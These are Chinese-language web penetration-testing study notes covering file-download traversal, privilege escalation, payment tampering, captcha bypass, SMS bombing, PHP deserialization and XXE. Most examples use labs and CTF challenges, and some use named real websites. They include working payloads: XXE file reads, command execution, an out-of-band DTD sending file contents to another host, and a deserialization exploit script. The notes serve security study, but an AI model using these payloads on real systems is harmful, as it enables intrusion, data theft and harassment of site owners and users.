文件下载(一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。)
任意文件下载漏洞,正常的利用手段是下载服务器文件,如脚本代码,服务器配置或者是系统配置等等。但是有的时候我们可能根本不知道网站所处的环境,以及网站的路径,这时候我们只能利用./ …/来逐层猜测路径,让漏洞利用变得繁琐。
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(如…/…/…/etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。
文件名,参数值,目录符号
看到下面的点,可以去想想是不是文件下载漏洞
read.xxx?filename=
down.xxx?filename=
readfile.xxx?file=
downfile.xxx?file=
…/ …\ .\ ./等
%00 ? %23 %20 .等
&readpath=、&filepath=、&path=、&inputfile=、&url=、&data=、&readfile=、&menu=、META-INF= 、
WEB-INF
下载或文件读取漏洞:
对应文件:配置文件(数据库,平台,各种等)
1.Pikachu-文件下载测试-参数
打开靶场看一下
观察图片链接和图片下载链接,发现有些地方不一样,所以我们可以跨目录下载ececdownload里面的东西
文件下载成功
如何得到数据库配置文件和路径
1.扫描工具爬行或扫描地址
2.下载好的文件代码中去分析路径和包含文件获取
补充:直接下载上面的文件和访问这个文件是不是一码事?
不一样的,php代码不对外展示,会被解析成html代码
2.Zdns-文件下载真实测试-功能点
真实的网站地址
看一下这个网站应用下载的地方,测试一下是否有漏洞,找一个软件下载路径看一下,发现还有base64加密,可以通过下面这个路径来下载一些敏感文件
3.小米路由器-文件读取真实测试-漏洞
真实的漏洞,在钟馗之眼上找到的一个地址,可以利用这个漏洞
https://www.seebug.org/vuldb/ssvid-98122
具体的可以看上面的链接
执行图片中的代码,就可以观察到是否有这个漏洞了
4.RoarCTF2019-文件读取真题复现-比赛
打开靶场看一下
点击下方的help,就会发现一个标志性的东西Download
这里再利用一些JAVA开发的知识点,来解题。
因为不是做题笔记,所以写的比较粗糙,一些知识点我也没有去查询,就大概写一下解题的思路。
这里首先先利用JAVA开发的一个知识点
修改提交方式测试-读取 WEB 配置文件 WEB-INF/web.xml
然后再找到flag的路径
访问读取对应地址-访问读取 flag 对应 class 文件- (WEB-INF/classes/com/wm/ctf/FlagController.class)
这里的flag被base64加密了,所以我们要base64解密一下。
如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。
水平越权和垂直越权:
水平越权:通过更换的某个 ID 之类的身份标识,从而使 A 账号获取(修改、删除等)B 账号数据。
垂直越权:使用低权限身份的账号,发送高权限账号才能有的请求,获得其高权限的操作。
未授权访问:通过删除请求中的认证信息后重放该请求,依旧可以访问或者完成操作。
原理:
前端安全造成:界面
判断用户等级后,代码界面部分进行可选显示
只判断登录状态,即普通用户登录之后无需验证级别依然可以调用该php文件
后端安全造成:数据库
user 表(管理员和普通用户同表)
id,username,password,usertype
1,admin,123456,1
2,xiaodi,11111,2
登录用户 admin 或 xiaodi 时,代码是如何验证这个级别?(usertype 判断)
如果在访问数据包中有传输用户的编号、用户组编号或类型编号的时候,那么尝试对这个值进行修改,就是测试越权漏洞的基本。
1.前后端同时对用户输入信息进行校验,双重验证机制
2.调用功能前验证用户是否有权限调用相关功能
3.执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限
4.直接对象引用的加密资源 ID,防止攻击者枚举 ID,敏感数据特殊化处理
5.永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤
1.Pikachu-本地水平垂直越权演示(漏洞成因)
水平越权:
抓包看一下,有username,可以尝试改名,改成lucy
发现水平越权成功
垂直越权:
先创建一个名叫cswly的用户,抓包过后再删除
修改admin用户的PHPSESSID,使其变为pikachu的PHPSESSID,这样cswly用户就可以重新添加上去,实现垂直越权。
垂直越权:添加用户
前提条件:获取的添加用户的数据包
怎么来的数据包:
1.不同用户前端有操作界面可以抓取数据包
2.通过网站源码本地搭建自己去模拟抓取
3.盲猜
2.墨者水平-身份认证失效漏洞实战(漏洞成因)
打卡靶场看一下
登陆用户test,抓包可以看到一个用户编号,修改这个用户编号,我们就可以找到这个“马春生”了
这里我们看到有“马春生”的照片,复制一下图片地址,我们就看到了用户编号
通过这个方法得到用户名和密码。
当然我们也可以用Burp suit暴力破解,根据上面的方法,找到用户名和密码,密码用md5解密一下
登陆成功,得到flag
3.越权检测-小米范越权漏洞检测工具(工具使用)
中通安全开源项目之越权漏洞自动化检测
https://github.com/ztosec/secscan-authcheck
4.越权检测-Burpsuite 插件 Authz 安装测试(插件使用)
在Burpsuite内直接安装
1.登录点暴力破解
需要先区分是HTTP还是HTTPS,因为HTTPS有可能是加密传输的,把密文加密后再进行爆破。
2.HTTP/HTTPS 传输
3.Cookie 脆弱点验证
4.Session 固定点测试
5.验证密文比对安全测试
参考:https://www.secpulse.com/archives/67080.html
商品购买流程:
选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付
常见篡改参数:
商品编号 ID,购买价格,购买数量,支付方式,订单号,支付状态等
常见修改方法:
替换支付,重复支付,最小额支付,负数支付,溢出支付,优惠券支付等
1.HTTP/HTTPS 协议密文抓取
HTTP:登陆的时候数据包可能不会加密,但是有些还是会加密的
HTTPS:一般都是会把密码加密的,加密传输
2.后台登录帐号密码爆破测试
本地搭建一个zBlog,抓包可以看到密码被加密了
可以看出来是MD5加密,然后我们这边可以用加密脚本爆破,脚本链接https://github.com/huyuanzhi2/password_brute_dictionary
这里还可以用Burpsuite爆破,因为之前演示过很多次了,所以这里就不演示了。
3.Cookie 脆弱点验证修改测试
搭建了一个本地的熊海CMS的管理系统。
看一下它的代码,代码的验证只是验证了uesr不为空
这里只要Cookie的user不为零,就可以绕过登录
4.某商场系统商品支付逻辑测试-数量,订单
打开靶场
抓包看到有商品的数量
我们可以修改商品的数量,这样就可以修改支付价格
我们还可以修改商品的订单,用低价购买到商品
5.某建站系统商品支付逻辑测试-价格,商品
打开靶场
可以看到有商品的数量和价格
这里我们修改价格
6000 大米测试产品
/index.php?m=Member&a=gobuy&iscart=0&id=127&name=%E5%A4%A7%E7%B1%B3%E6%B5%8B%E8%
AF%95%E4%BA%A7%E5%93%81&qty=1&price=6000>ype=%E7%81%B0%E8%89%B2&pic=/Public/Uplo
ads/thumb/thumb_1393218295.jpg
5400 大米手机 cms
/index.php?m=Member&a=gobuy&iscart=0&id=70&name=%E5%A4%A7%E7%B1%B3%E6%89%8B%E6%9
C%BACMS&qty=2&price=5400>ype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_13
93218295.jpg
上面两个数据包,商品的名称、数量、价格都不一样,都可以是我们修改的地方。
index.php?s=/wap/pay/wchatQrcodePay 微信支付
index.php?s=/wap/pay/alipay 支付宝支付
index.php?s=http://www.xiaodi8.com/alipay 调用其他的支付接口
$ pay_name=$_GET[‘s’];
6000 是存储到数据库里,安全的做法:以数据库的数据值为准
客户端回显,Response 状态值,验证码爆破,找回流程绕过等
一个页面操作数据的流程问题
跳过步骤的流程问题
1.发送验证码
2.验证
3.重置密码
1-3 跳过2 流程问题
短信轰炸,来电轰炸等
1.找回密码验证码逻辑-爆破测试-实例
2.墨者靶场密码重置-验证码套用-靶场
打开靶场
然后我们点击重置密码
我们可以抓包修改电话号码,达到修改密码的目的,得到验证码
3.手机邮箱验证码逻辑-客户端回显-实例
可以直接看到验证码,在客户端回显
4.绑定手机验证码逻辑-Rep 状态值篡改-实例
打开靶场
可以用Burpsuite抓响应包
这里可以看到响应包里面有一个数字3,这个3就代表输入的验证码错误。
我们把数字修改成1,就可以成功输入验证码
5.某 APP 短信轰炸接口乱用-实例接口调用发包
在网站上找到发短信的应用接口,比如发送验证码,把这些接口整合到一起,用程序批量遍历循环,就可以实现短信轰炸。
逻辑越权:
验证安全:
分类:图片,手机或邮箱,语音,视频,操作等
原理:验证生成或验证过程中的逻辑问题
危害:账户权限泄漏,短信轰炸,遍历,任意用户操作等
漏洞:客户端回显(已讲),验证码复用,验证码爆破(已讲),绕过等
1.验证码识别插件及工具操作演示-实例
下载一个图片验证码的识别工具
打开一个实例网站
https://manage.yyxueche.com/panel/login.php
我们使用上面的工具,就可以识别出验证码,把网站地址和请求头都复制到这个工具上,就可以开始识别了,得到验证码,会有一定的报错,但是准确率还是挺高的
在Burp上,也有插件,也可以识别验证码的
这里有文章可以参考一下这个插件
https://www.cnblogs.com/nul1/p/12071115.html
2.验证码绕过本地及远程验证-本地及实例
看一下本地搭建的靶场
首先看一下验证码绕过(on server)
在intruder里验证码可重复使用,爆破的时候验证码不会报错
再看一下验证码绕过(on client)
抓包看一下,把验证码删除掉,可以成功登陆,由于是前端验证,直接抓包重放删除验证码传参,也不会返回验证码不能为空
3.Token客户端回显绕过登录爆破演示-本地
找token规律也找不出来,但是可以通过抓包发现,返回了下一次使用的token:
满足以上条件我们就可以使用burp的音叉攻击进行爆破,线程必须为1,参数为password和token。
password载荷设置:
token载荷设置,类型为递归搜索:
选项添加Grep-Extract:
上图中,第五步复制的value值放入下图中:
线程设置为1,一定要记住,开始攻击:
4.某 URL 下载接口 ID 值调用遍历测试-实例
测试网址http://www.grasp.com.cn/DownFiles.aspx?id=591
用BurpSuite字典暴力攻击
这种尝试类似于水平越权:
xiaodi uid=10
1-1000 尝试能不能获取到其他编号对应的用户信息
5.Callback 自定义返回调用安全-漏洞测试-实例
打开的网站上,url有callback,可以尝试进行跨站攻击
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码
执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行
反序列化的时候就有可能会触发对象中的一些魔术方法。
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:
参考链接:https://www.cnblogs.com/20175211lyz/p/11403397.html
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用 isset()或 empty()触发
__unset() //在不可访问的属性上使用 unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
1.先搞一把 PHP 反序列化热身题稳住-无类问题-本地
<?php error_reporting(0); include "flag.php"; $KEY = "xiaodi"; $str = $_GET['str']; if (unserialize($str) === "$KEY") { echo "$flag"; } show_source(__FILE__); class ABC{ public $test; function __construct(){ $test =1; echo '调用了构造函数<br>'; } function __destruct(){ echo '调用了析构函数<br>'; } function __wakeup(){ echo '调用了苏醒函数<br>'; }} echo '创建对象 a<br>'; $a = new ABC; echo '序列化<br>'; $a_ser=serialize($a); echo '反序列化<br>'; $a_unser = unserialize($a_ser); echo '对象快要死了!'; ?>
靶场中测试
在线php转序列化和反序列化
我们在GET中输入序列化得到的内容,得到flag
2.在撸一把 CTF 反序列化小真题压压惊-无类执行-实例
题目链接:https://ctf.bugku.com/challenges#flag.php
在admin.css有这样一个提示
我在后面加一个一下,得到了php源码,反序列化的
我们只需要添加上去的Cookie的值,等于$KEY,就可以得到flag,并且还有一个地方就是,GET传参那里,需要修改传入的参数,否则无法绕过ifelse。
3.最后顶一把网鼎杯 2020 青龙大真题舒服下-有类魔术方法触发-实例
首先 ctf 命名及代码函数 unserialize 判断反序列化知识点
第一:获取 flag 存储 flag.php
第二:两个魔术方法__destruct __construct
第三:传输 str 参数数据后触发 destruct,存在 is_valid 过滤
第四:__destruct 中会调用 process,其中 op=1 写入及 op=2 读取
第五:涉及对象 FileHandler,变量 op 及 filename,content,进行构造输出
涉及:反序列化魔术方法调用,弱类型绕过,ascii 绕过
使用该类对 flag 进行读取,这里面能利用的只有__destruct 函数(析构函数)。__destruct 函数对
$ this->op 进行了= = =判断并内容在 2 字符串时会赋值为 1,process 函数中使用==对$this->op 进行判
断(为 2 的情况下才能读取内容),因此这里存在弱类型比较,可以使用数字 2 或字符串’ 2’绕过判断。
is_valid 函数还对序列化字符串进行了校验,因为成员被 protected 修饰,因此序列化字符串中会出
现 ascii 为 0 的字符。经过测试,在 PHP7.2+的环境中,使用 public 修饰成员并序列化,反序列化后
成员也会被 public 覆盖修饰。
特别的直白,打开就是php代码
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
然后我们一段一段来读代码
首先有一个变量str,GET传参,进入了is_valid这个函数里,这个函数要求str输入的字符的ascll码的值必须在32~125之间,因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。
绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
__destruct()魔术方法
这里===是强比较,必须是类型和数值一样,这里我们给op=2,这样就可以绕过, ==是弱比较,可以返回正确结果
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
然后自己写脚本,本地进行序列化
<?php
class FileHandler{
public $op = 2;
public $filename = "flag.php";
public $content = "xd";
}
$str = new FileHandler;
var_dump(serialize($str));
O:11:“FileHandler”:3:{s:2:“op”;i:2;s:8:“filename”;s:8:“flag.php”;s:7:“content”;s:2:“xd”;}
执行过后,得到flag
XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害
XML和HTML的主要差异
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。
XML语法
<!--XML 声明--> <?xml version="1.0"?> <!--文档类型定义--> <!DOCTYPE note [ <!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素--> <!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型--> ]]]> <!--文档元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
DTD
文档类型定义(DTD)可定义合法的 XML 文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
(1)内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
(2)外部文档声明
<!DOCTYPE 根元素 SYSTEM ”文件名”>
#DTD 实体
(1)内部实体声明
<!ENTITY 实体名称 ”实体的值”>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
(3)参数实体声明
<!ENTITY %实体名称 ”实体的值”>
<!ENTITY %实体名称 SYSTEM ”URI”>
php,java,python-过滤及禁用
方案一:禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案 2-过滤用户提交的 XML 数据
过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC
1.pikachu 靶场 xml 数据传输测试-回显,玩法,协议,引入
打开靶场
玩法-读文件
在本地创建一个test.txt
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
执行上面的代码,文件读取成功
玩法-内网探针或攻击内网应用(触发漏洞地址)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<x>&rabbit;</x>
玩法-RCE
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
引入外部实体 dtd
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
%file;
]>
<x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">
无回显-读取文件
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
%dtd;
%send;
test.dtd:
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;
协议-读文件(绕过)
参考链接:https://www.cnblogs.com/20175211lyz/p/11413335.html
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>
2.CTF-Jarvis-OJ-Web-XXE 安全真题复现-数据请求格式
题目链接:http://web.jarvisoj.com:9882/
输入抓包看一下
更改请求数据格式:application/xml
并且执行xml代码
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
返回数据包
3.xxe-lab 靶场登陆框 xml 数据传输测试-检测发现
打开靶场
1.提交的数据包含 XML 格式如:
<forgot><username>admin</username></forgot>
2.请求头中如:
Content-Type:text/xml 或 Content-type:application/xml
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>
4.xxe 安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
——————————————
对原文内容进行补充和格式优化
原文链接
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。